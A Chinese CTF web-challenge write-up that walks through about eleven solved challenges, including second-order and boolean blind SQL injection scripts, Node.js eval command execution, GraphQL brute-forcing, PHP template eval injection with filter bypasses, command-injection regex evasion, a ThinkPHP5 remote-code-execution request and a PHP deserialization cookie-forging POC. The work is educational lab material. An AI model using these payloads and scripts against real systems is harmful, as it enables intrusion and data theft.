竞技赛持续了7天,为了肝题也是7天没有睡好觉,不过这个比赛也学到很多,在这里比心出题师傅和客服师傅们,比赛真的办的很用心。这次总共16道Web题,最后肝出了11道,6道一血,1道三血。WP尽量具体,把我整个做题过程的思路带上。希望能给大家带来帮助~
考点:爆破密码
解题步骤:
1.用源码提示的rockyou字典爆破admin的密码即可
考点:Session
解题步骤:
1.打开靶机,发现跟上一题征婚相比,多了一个注册功能,随便注册一个账号登陆
2.还有个重置密码的页面排除上一题爆破密码的可能,猜测这题需要重置admin的密码
3.重置密码需要通过一个验证码校验,验证码是通过发送邮箱获得,但是我们不知道admin的邮箱
4.另外发现,删了cookie后,原来的账号就不存在了,说明,这题是根据session来判断当前用户的,那么就可以猜想,如果我们一开始去修改我们注册的用户,然后利用自己邮箱的验证码通过验证,再用另一个页面同样的session去重置admin,而当前重置的密码根据session判断我们要修改的用户(此时已经变成了admin),所以即可成功修改admin的密码
5.重置密码后登陆admin获得flag
考点:二次注入,mysql5.7特性
解题步骤:
1.打开靶机,发现环境是sql-labs 第24关,注入点在pass_change.php的修改密码处的用户名字段,因为是直接从Session中取出后拼接到update语句中,从而造成二次注入
2.按照sql-labs的做法,修改admin用户密码,登陆后发现没有flag,说明flag在数据库中
3.布尔盲注,盲注payload:
admin' and ascii(substr(database(),%d,1))=%d#
在username字段后构造条件语句,如果条件为真,则修改密码成功,为假则修改密码失败
4.注出数据库名:security,在尝试注表时发现关键字or被过滤了,所以不能使用information_schema
5.注版本信息发现mysql版本为5.7,所以可以利用自带的mysql库中新增的innodb_table_stats这个表,来获得数据库名和表名,参考:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
6.注表名payload:
admin' and ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),%d,1))=%d#
7.获得fl4g表:
8.最后获取flag的exp:
import requests
index_url = "http://101.71.29.5:10002/index.php"
login_url = "http://101.71.29.5:10002/login.php"
pass_change_url = "http://101.71.29.5:10002/pass_change.php"
register_url = "http://101.71.29.5:10002/login_create.php"
s = requests.Session()
database = ""#mysql,security,sys
version = "5.7.27"
table_name = "emails,referers,uagents,users" #gtid_executed,fl4g,sys
for i in range(1,50):
for j in range(44,128):
register_data = {
"username":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
"password":"123",
"re_password":"123",
"submit":"Register"
}
r1 = s.post(register_url,data=register_data)
login_data = {
"login_user":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
"login_password": "123",
"mysubmit": "Login"
}
r2 = s.post(login_url,data=login_data)
pass_change_data = {
"current_password": "123",
"password": "somnus1" + str(i),
"re_password": "somnus1" + str(i),
"submit": "Reset"
}
r3 = s.post(pass_change_url, data=pass_change_data)
if "Password successfully updated" in r3.text:
database = database + chr(j)
print database
break
考点:nodejs注入
解题步骤:
1.打开靶机,发现是一个websocket的js网站,/js/app.03bc1faf.js中可以看到源码
2.根据提示,需要我们先输入/name nickname来进行登陆,登陆后,审计源码发现可以执行一个calc操作
3.执行/calc 5*6
发现返回30,猜测这里存在命令执行,参考:Node.js代码审计之eval远程命令执行漏洞
4.调用child_process模块执行命令,题目过滤了空格,用$IFS
替代
5.执行ls:
/calc require("child_process").execSync("ls$IFS/").toString()
6.cat flag:
/calc require("child_process").execSync("cat$IFS/flag").toString()
考点:graphql
解题步骤:
1.打开靶机,有个链接,访问发现是一个graphql的查询接口
2.通过get-graphql-schema工具将graphql模式都一一列举出来:
$get-graphql-schema http://101.71.29.5:10012/graphql
3.摸清层次后,进行层层嵌套查询:
{
allUsers {
edges {
node {
id
username
memos{
pageInfo {
hasPreviousPage
hasNextPage
startCursor
endCursor
}
edges{
node{
id
content
}
}
}
}
cursor
}
}
}
4.flag就在Meno类的content字段中
考点:graphql,unicode变形编码还原
解题步骤:
1.打开靶机,源码提示我们:
<!-- GraphQL 真方便 All your base are belong to us!!!!! -->
2.访问一下,还是有graphql接口,只是没有像上一题那样写一个界面
3.同样用get-graphql-schema列出结构:
4.相比于上一题,发现Query类中多了一个方法checkPass,类Memo_也多了一个成员属性password,我们同样用上一关的payload来查询一下结果
5.查询结果发现,相比于之前那题,content字段和多出来的password字段的值看起来像是经过unicode编码,将password字段值拿去unicode解码,发现是一串很奇怪的汉字
6.想到还有一个方法checkPass没试,于是构造一下数据包:
从查询结果来分析,我们输入的password:1貌似经过了unicode编码后,返回告诉我们这个密码查询结果为空
7.把1经过unicode编码后的字符串:\u4e3a\u6211\u7231\u7231,再次拿去解码,又是一串看不懂的中文:
8.而如果我们直接把前面查的password字段中的字符串拿来查询,结果出现整形溢出而报错
9.所以猜测:这个checkPass方法会将我们查询的password值进行一次变形的unicode编码后,进行查询,那么,我们就需要将password字段值进行还原明文的操作。通过测试发现,可以进行逐位爆破明文,现在我们要破解的是password密文:
\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231
那么,首先先对第一个密文字符串:\u8981进行解密
首先爆破第一位明文:
爆破发现,第一个明文范围可能为[H-K]
第二个明文,就根据第一个明文的可能来列举爆破,看看是否符合最前面两串密文字符串:\u8981\u6709
发现,第一个明文字符为H时,第二个明文字符为[a-o],前两串密文都满足:\u8981\u6709
由此确定,第一个明文字符为:H
以此类推,根据checkPass返回的结果来逐位爆破出明文
10.按照这个思路,编写爆破exp,代码如下:
import requests import string import json import re from time import sleep url = "http://101.71.29.5:10037/graphql" s = string.ascii_letters + string.digits + "{}" password = "\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231" #password = "\u5230\u5e74\u79cd\u6210\u5230\u5b9a\u8fc7\u6210\u4e2a\u4ed6\u6210\u4f1a\u4e3a\u800c\u65f6\u65b9\u4e0a\u800c\u5230\u5e74\u5230\u5e74\u4ee5\u53ef\u4e3a\u591a\u4e3a\u800c\u5230\u53ef\u5bf9\u65b9\u751f\u800c\u4ee5\u5e74\u4e3a\u6709\u5230\u6210\u4e0a\u53ef\u6211\u884c\u5230\u4ed6\u7684\u9762\u4e3a\u4eec\u65b9\u7231" find_password = "" change_password = ""#HappY4Gr4phQL pass_list = password.split("\u")[1:] count = 0 query = {"query":"{\n checkPass(memoId: 1, password:\"%s\")\n}\n"} query = json.dumps(query) headers = { "Content-Type":"application/json" } while find_password != password: possible_list = [] end = 0 for i in s: payload = query % (change_password + i) s1 = requests.Session() r = s1.post(url,headers= headers,data=payload) sleep(0.1) message = str(re.findall("'(.*)' not",r.text)[0]) message_list = message.split("\u")[1:] if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]): change_password = change_password + i end = 1 break elif message_list[count] == pass_list[count]: possible_list.append(i) if end == 1: print change_password break #print possible_list count = count + 1 poss1_list = [] for j in possible_list: for z in s: payload = query % (change_password+j+z) s1 = requests.Session() r1 = s1.post(url, headers=headers, data=payload) sleep(0.1) message = str(re.findall("'(.*)' not", r1.text)[0]) message_list = message.split("\u")[1:] if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]): end = 1 break elif message_list[count] == pass_list[count]: poss1_list.append(z) if len(poss1_list) != 0: change_password = change_password + j if end == 1: change_password = change_password + z find_password = find_password + "\u" + pass_list[count - 1] break if end == 1: break if end == 1: print change_password break #print poss1_list if len(poss1_list) == 1: print change_password continue else: count = count + 1 for k in poss1_list: for m in s: payload = query % (change_password + k + m) s1 = requests.Session() r2 = s1.post(url,headers=headers,data=payload) sleep(0.1) message = str(re.findall("'(.*)' not", r2.text)[0]) message_list = message.split("\u")[1:] if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]): change_password = change_password + k + m find_password = find_password + "\u" + pass_list[count - 1] + "\u" + pass_list[count] + "\u" + pass_list[count + 1] end = 1 break if end == 1: break count = count + 2 print change_password print find_password
11.跑出的密码是:HappY4Gr4phQL
检查一下是否正确:
12.查询结果为true,说明正确,但是,没有返回flag,这时候突然想到,content字段中也有一串密文,按照上题来看,flag估计就是content字段的明文值了,于是继续爆破content字段密文
13.最后跑出flag
考点:代码审计,命令执行
解题步骤:
1.下载www.zip,审计源码
2.漏洞触发点很明显,只有一个,在parse_template.php的parseIf函数中
分析发现,该函数对传入的参数$content进行{if:(.*?)}(.*?){end if}
规则的正则匹配,将匹配的结果的第一个元素,即{if:(.*?)}的(.*?)
匹配字符串拼接到eval函数中执行命令
3.接着找找哪里调用了parseIf函数
在parse_template.php的parse_again函数的末尾,调用了该函数,继续跟踪,就发现在index.php的最后,调用了parse_again函数
4.接下来,就是想办法让输入的参数符合条件,来执行parse_again函数,进而执行parseIf函数,触发漏洞
5.首先看下全局过滤:common.php
全局文件common.php对GET,POST,COOKIE中的参数进行了进行了check_var的检查,过滤了关键字:_GET,_POST,GLOBALS,然后,进行了变量覆盖的操作
6.所以执行parse_again函数的条件,就是content参数符合正则匹配:<search>(.*?)<\/search>
也就是说,我们随便传个参数?content=<search>123</search>
就可以执行parse_again
7.然后重点审计parse_again函数
该函数处理过程大致是:对传入的searchnum,type,typename和index.php中一开始传入的参数content,进行一个RemoveXSS的过滤,该函数过滤了大部分关键字:
其中就包括了parseIf函数中匹配的关键字:if:
过滤后,截取前20个字符,进行template.html模板文件的标签替换,最后触发parseIf,通过eval执行模板文件中符合{if:(.*?)}(.*?){end if}
正则匹配的第一个结果字符串
如果我们输入的参数包含{if:
,经过RemoveXSS处理后就变成了{if<x>
:,那么必然就不符合后面的匹配
所以,我们首先需要想办法来绕过RemoveXSS的过滤
我们可以发现,在RemoveXSS的过滤和执行parseIf的中间,还进行了4次的str_replace函数的替换,那么,我们就可以利用替换,来绕过过滤,比如我们传入:
?content=<search>{i<haha:type>f:phpinfo()}{end if}</search>
因为type参数为空,所以最后传入parseIf函数的内容就包括:
<search>{if:phpinfo()}{end if}</search>
就能成功匹配了,但是,这里还有长度20的限制,所以,我们可以通过多次替换,来绕过限制
在模板文件中,存在一处可以让我们通过拼接来凑成{if:(.*?)}(.*?){end if}
匹配结构的地方
8.传入payload:
?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:phpinfo()}
成功执行phpinfo,看看有没有disable_functions的限制
没有限制
8.接下来就是读flag.php文件,选用一个最短的readfile函数
?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:readfile('flag.php')}
但是,这样type参数长度还是超过了20,这时候,想到还有最后一个参数typename没有利用到,于是,传入:
?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:rea{haha:typename}&typename=dfile(%27flag.php%27)}
考点:rce,正则匹配特点,文件通配符,命令换行,命令注释
1.源码:
命令执行bypass,过滤点有两处
(1)正则匹配的黑名单:
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
(2)对输入参数强制包裹双引号"":
$a ='"' . $a . '"';
其实最致命的是第二处过滤,强制添加双引号,即使我们输入了黑名单里没有的命令,在双引号的作用下,也执行不了命令
所以,这时候就想到了,强制命令执行的反引号`
2.但是,这里好像正则过滤了?其实没有,不信,我们测试一下:
很惊奇的发现,由于前面存在的:
\\|
会将|
进行转义,这是因为在preg_match中,三个反斜杠\\\
才能匹配一个真正意义上的字符反斜杠\
,所以这里因为正则的匹配机制造成了反引号逃逸
3.执行命令:
?a=`uname`
果然成功执行uname,那么接下来,就是想办法列目录了,虽然这里ls被禁用了,但是我们还可以用dir
?a=`dir /`
4.但是没有发现flag文件,试着找了其他常见目录下,也未发现,那么,就试着执行查找文件名操作:find
虽然find在黑名单中,但是,我们可以通过执行二进制文件和通配符?
的结合来进行绕过
payload:
?a=`/usr/b??/???d / -name ?lag`
但是还是未找到flag文件,再试着grep -R来搜索flag内容ctf,payload:
?a=`/?in/gre?%20-R%20ctf`
发现flag
5.不过这是非预期解,后面出题人把\\
位置换到\^
的前面,预期解是:
?a=\&b=%0a/???/gr?p%20-R%20ctf%20%23
实质上还是因为正则\\
匹配不到\
的问题,使用了换行%0a
,再结合linux的命令终止符%20#
处理双引号,最终的命令为:
file "\" "
/???/gr?p -R ctf #"
考点:sql注入,HTTP头部修改
解题步骤:
1.打开靶机,是一个登陆界面
2.扫描目录,发现存在admin.php
3.另外还有个forget.php
思路就应该是要登陆admin,在forget.php中发现username存在注入点,用户名不存在时会返回no this user,利用这个点进行布尔盲注
fuzz发现过滤了or,and,select等关键字,用&&来代替and即可,盲注脚本如下:
import requests
url = "http://101.71.29.5:10045/index.php?file=forget"
password = ""
for i in range(1,50):
for j in range(44,128):
data= {
"username":"admin' && ascii(substr(password,%d,1))=%d#"%(i,j)
}
r = requests.post(url,data=data)
if "no this user" not in r.text:
password = password + chr(j)
print password
4.跑出admin的密码:flag{never_too
然后登陆admin
提示我们:admin will access the website from,于是加个头部字段:
Referer:127.0.0.1
拿到另一半flag
最后的flag就是:flag{never_too_late_to_x}
考点:tp框架特性,信息泄露,rce
解题步骤:
1.考点即题目的两个hint:
Hint1:tp框架特性
Hint2:万物皆有其根本,3.x版本有,5.x也有,严格来说只能算信息泄露
2.测试发现,我们输入index.php等已知的tp文件,都会自动跳转回not_safe.html,我们首先要找到泄露信息的点,获得权限去访问
3.信息泄露,就想到了去查看tp日志
通过fuzz,发现runtime/log/201910/02.log存在信息泄露
4.发现一个关键的参数safe_key,然后根据上面写的头部再次访问
访问成功,跳转到了safe_page.html,并获取到了tp版本为5
5.接下来,就是去找tp5是否存在已知爆出的远程rce的漏洞,参考:ThinkPHP5漏洞分析之代码执行(十)
6.漏洞点是tp5的method代码执行,漏洞触发点在call_user_func函数
7.直接拿payload打过去
8.成功执行,后面测试发现过滤了如下内容:
file关键字
php短标签:
<?php
<?
<?=
php伪协议:
php://filter
disable_functions:system,shell_exec,exec,proc_open,passthru等命令执行函数
9.另外php版本是7.1,也就是说assert不能动态调用了,而eval在php手册中已经写道:是一个language construct,而不是一个函数,所以也不能通过call_user_func来调用
10.我们能利用的就只有读取文件show_source和扫描目录scandir,show_source可以很轻松的读到/etc/passwd,但是不知道flag文件路径,而scandir会因为是返回数组而无法输出
11.所以得想办法,输出scandir,参考:记一次有趣的tp5代码执行,里面提到filter可以通过传递多个来对参数进行多次的处理
12.所以,可以先传入filter[]=scandir&get[]=/,这样读取完目录后。传入filter[]=var_dump,就可以成功输出扫描目录结果了
13.payload:
POST /public/index.php?safe_key=easy_pentesnt_is_s0fun HTTP/1.1
Host: 101.71.29.5:10021
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
x-requested-with: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1
Referer: http://101.71.29.5:10021/public/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 84
_method=__construct&method=get&server[]=1&filter[]=scandir&get[]=/&filter[]=var_dump
14.flag文件在/home目录下
15.最后读取flag
考点:万能密码,LFI,代码审计,反序列化
解题步骤:
1.打开靶机,是一个登陆界面
2.用万能密码即可登陆:
3.登陆后,给了我们一串看不懂的cookie:
%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d
4.然后来到后台,源码中发现有个debug功能,并且m参数疑似存在LFI
5.访问debug
6.提示cookie出错,猜想可能需要伪造一个正确的cookie,才能使用debug功能,那么就需要获取源码
7.m参数过滤了关键字php和base64,尝试大小写,发现可以绕过,读取源码:
?m=PHP://filter/convert.Base64-encode/resource=home
8.拿到源码后,审计发现,在debug.php的魔术方法__toString中,存在包含flag.php文件的操作,那么这就是我们最后要执行的地方
9.触发__toString魔术方法的条件就是把类当作字符串输出,对应debug.php的debug方法的末尾方法
要触发debug方法,就在home.php末尾代码:
10.但是中间有许多waf需要我们bypass
(1)check函数:check($cookie, $db, $session);
此处存在反序列点,而且$objstr对应cookie的identity字段,没用过滤,是可控的,我们可以进行任意的反序列化操作
这里只需要没反序列化正确,就能通过
(2)index_check函数:index_check($session->id, $session->username);
返回结果数量不能小于4,即我们反序列化后对象的username和id字段拼接道Sql语句后必须有查询结果
(3)debug类的__construct魔术方法,check1函数
检查对象的username字段是否为debuger,意思是我们查询的用户名必须是debuger,check1函数同理
(4)最后输出echo $this->forbidden
;
虽然前后矛盾,但是细看,第一个比较是===
,而第二个比较switch则是弱类型比较即==
,所以我们可以让$this->choose为"2",即可绕过过滤
11.综上,写出如下POC:
<?php
function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}
class session{
public $choose = 1;
public $id = 0;
public $username = "";
}
class debug
{
public $choose = "2";
public $forbidden = "";
public $access_token = "";
public $ob = NULL;
public $id = 2;
public $username = "debuger";
public function __construct()
{
$this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
}
}
$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));
?>
12.运行得到cookie的payload:
&144&16a&15f&121&13f&159&13a&15b&14a&147&13a&121&14a&169&139&126&13e&15a&160&127&153&16a&15f&122&13f&159&13a&15a&151&137&129&166&153&122&145&159&13f&123&13d&126&13d&144&15f&159&13d&159&139&127&153&16a&15f&125&13f&159&13a&15d&152&123&13a&159&151&147&142&15b&14a&147&124&159&13f&120&128&126&13e&144&15f&159&14a&137&146&159&154&147&153&159&13f&15a&149&126&155&123&13d&126&13e&15a&15f&159&149&122&158&166&152&123&13e&15c&139&15a&164&16a&13f&15a&135&126&139&15a&139&159&13f&123&13d&126&13f&144&15f&159&14a&15d&129&169&149&15d&15c&15b&14a&137&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129
13.传入后发现,此时已经成功包含flag.php,但是,提示了一段信息:token error,并且告诉我们在flag.php中还包含了access.php猜想可能对应类中的access_token参数,但是因为是include,所以我们看不到flag.php的源码。这里也是卡了很久,后来才发现有备份文件:access.php.bak
<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
$d = unserialize($this->funny);
} catch(Exception $e) {
echo '';
}
?>
14.那么,我们再添加一个参数$this->funny,反序列化后的access_token为3ecReK&key即可
最终POC:
<?php
function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}
class session{
public $choose = 1;
public $id = 0;
public $username = "";
}
class debug
{
public $choose = "2";
public $forbidden = "";
public $access_token = "";
public $ob = NULL;
public $id = 2;
public $username = "debuger";
public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';
public function __construct()
{
$this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
}
}
$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));
?>